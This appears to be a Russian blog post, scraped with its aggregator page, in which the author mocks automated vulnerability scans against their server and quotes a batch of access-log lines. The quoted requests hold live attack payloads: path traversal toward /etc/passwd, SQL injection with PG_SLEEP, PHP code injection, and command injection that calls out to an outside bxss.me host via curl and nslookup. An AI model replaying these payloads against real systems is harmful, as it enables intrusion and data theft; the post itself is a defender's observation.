"Кто стучится в дверь ко мне?"

топ 100 блогов trilirium — 04.04.2023 С толстой сумкой множеством непонятных, но очень тупых эксплойтов? )))

Выдержанные места из переписки с друзьями логов нашего сервера:




10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd HTTP/1.1" 404 360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /${@print(md5(31337))}/small/ HTTP/1.1" 404 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_docs/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini HTTP/1.1" 404 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd HTTP/1.1" 404 300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg/ HTTP/1.1" 404 281 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /LATQxF7Z'%20OR%20494=(SELECT%20494%20FROM%20PG_SLEEP(15))--/small/ HTTP/1.1" 404 254 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small'||sleep(27*1000)*wgjnig||'/ HTTP/1.1" 404 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/HttP:%2f%2fbxss.me%2ft%2fxss.html%3f%2500/ HTTP/1.1" 404 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "POST /xmlrpc.aspx HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd HTTP/1.1" 404 370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/^(%23$!@%23$)(()))******/ HTTP/1.1" 404 225 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /backup_infoculture.tgz HTTP/1.1" 404 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /.dockerignore HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/$(nslookup%20-q=cname%20hitueciwemxjwb85e8.bxss.me||curl%20hitueciwemxjwb85e8.bxss.me)/ HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd HTTP/1.1" 404 296 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /${@print(md5(31337))}\\/small/ HTTP/1.1" 404 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_docs/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 404 256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /epH4qy3T')%20OR%20432=(SELECT%20432%20FROM%20PG_SLEEP(15))--/small/ HTTP/1.1" 404 255 "http://infoculture.rsl.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/small\"||sleep(27*1000)*ghlzjz||\"/ HTTP/1.1" 404 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/BB/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 404 268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /icons/bxss.me%2ft%2fxss.html%3f%2500/ HTTP/1.1" 404 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /_RSKD_/_database/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd HTTP/1.1" 404 306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /NIKLib/althome/js/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd HTTP/1.1" 404 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /\"+\"A\".concat(70-3).concat(22*4).concat(100).concat(78).concat(115).concat(70)+(require\"socket\"%0aSocket.gethostbyname(\"hitdh\"+\"fwkextbp0eff2.bxss.me.\")[3].to_s)+\"/small/ HTTP/1.1" 404 415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
10.251.249.211 - - [21/Mar/2023:12:50:55 +0300] "GET /.deployignore HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"


Ну, и так далее. Я мог бы намного больше процитировать -- но идею вы поняли. )))

Всё это абсолютно неэффективно, за исключением одного: тупо жрёт дисковое пространство под логи.
Нормальный размер нашего недельного лога -- ~~10Mb, а тут накидали этой гадости аж за двести!
И всё равно, им полный облом. )))

Оставить комментарий

Популярные посты:
thurinus
Киоски самообслуживания для участников беговых трасс и марафонов
augean_stables
США уговаривают Европу конфисковать активы РФ, Трамп с идеей согласен – CNN
l_boris
Новости медицины
pskov_land
Псков. Выставка археологических находок полевого сезона 2024 года
andrei_bt
В индии сделали новую зенитную установку
pantv
Культурная деревня Дохи и посадка на лайнер Celestyal Journey
philologist
Гранин Д.А. Собрание сочинений Д. Гранина в 12 томах. Т. 8 (2024)
photo_discovery
Араукания с кондорами. НП Конгийо. Араукария - Мать
thor_2006
И снова смесь времен
Архив записей в блогах:
Оборона ЖЖ
висит жж вторые сутки охреневает вся страна: где сиськи, где тупые шутки, куда сдриснуть с фейсбука, на? нет от Навального навала, и Тёма не разводит срач, нет теста "кто я в мире кала", так скучно - хоть дрочи и плачь! чего ж теперь нам делать, ...
Итог моей игры в нейросеть. Выводы
Вот мои текстовые пробы уже были два раза с нейросетью. И что стало понятно. В ней нет души. Да, красиво, но холодно. Это будущее холодное. И, как тут же подумалось, что тепло души скоро будет дефицитом, на вес золота, очень дорогим материалом. Поэтому, эксклюзивноволшебный ...
Камнем вниз с партбилетом «Единой России» в кармане
Все ульяновские газеты пишут о приговоре, вынесенном  главврачу областной больницы Александру Баландину за хищение 32,5 млн рублей бюджетных средств при закупках медицинского оборудования. Баландин осужден на 3 года условно за «покушение на ...
В школу, как в Храм
. Для меня - дипломированного историка-педагога - школа всегда была сакральным местом. Когда я преподавал историю в нашей маленькой деревенской школе (которую, кстати, окончил с золотой медалью), то всякий раз шёл в неё на занятия, как в Храм. Учитель на селе - человек исключительно ...
Проблема восприятия социализма в Китае. Часть 2.
"В подтверждение и пояснение первой статьи договора, заключенного в городе Айгуне, 1858 года, мая 16-го дня (Сян-фын VIII года, IV луны, 21-го числа), и во исполнение девятой статьи договора, заключенного в том же году, июня 1-го дня (V луны, 3-го числа), в городе Тянь-Цзине, ...
WOW Авто Армия Беларусь Бизнес Видео Дети Жесть Животные Закон Здоровье Игры Интернет Искусство История Казахстан Кино Конфликты Коронавирус Коррупция Косметичка Криминал Кулинария Ликбез Литература Лытдыбр Медицина Мнения Музыка Наука Общество Олимпиада Отдых Отношения Персоны Политика Природа Происшествия Путешествия Разное Разоблачения Реклама Религия СНГ Сиськи События Спорт Страны ТВ и СМИ Творчество Технологии Транспорт Троллинг Финансы Фото Шоубиз Штуки Экономика Юмор
  • afg_mujahid : RT @Paktyaw4l: No more tinted windows in Afghanistan. Neither government officials nor civilians are allowed to have tinted windows: https:…

  • GigiSilk : RT @sugaraddictxiv: Daylight Monochrome [M] Lots of windows! Made a simple elevator for this build so I don't have to struggle with the T-…

  • EarlWagnerYo : @Tinderella2u Eso es porque no usas maquinas Windows en google cloud todo rompen

  • CKKCOBALT : RT @CKKCOBALT: 地味に知られていないWindows君の機能、設定で特定のフォルダ内の画像を一定時間ごとにランダムに壁紙として表示が可能なので、大変良き。 画面ごとに違う画像が表示されるため、マルチモニタだと尚良し。 https://t.co/cwyuErhVW1

  • MrBlackl : RT @totoraj_game: 個人的には1ボタンで複数の動作をするのはライン越えだと思ってる 1ボタン1アクションまで！ それを超えたらマクロと変わらんと思う ホームとかを割り振るのはVK_BROWSER_HOMEって仮想キーコードがあるからね ここら辺はキーボード…

  • amandastyy15 : RT @tanyakanrl: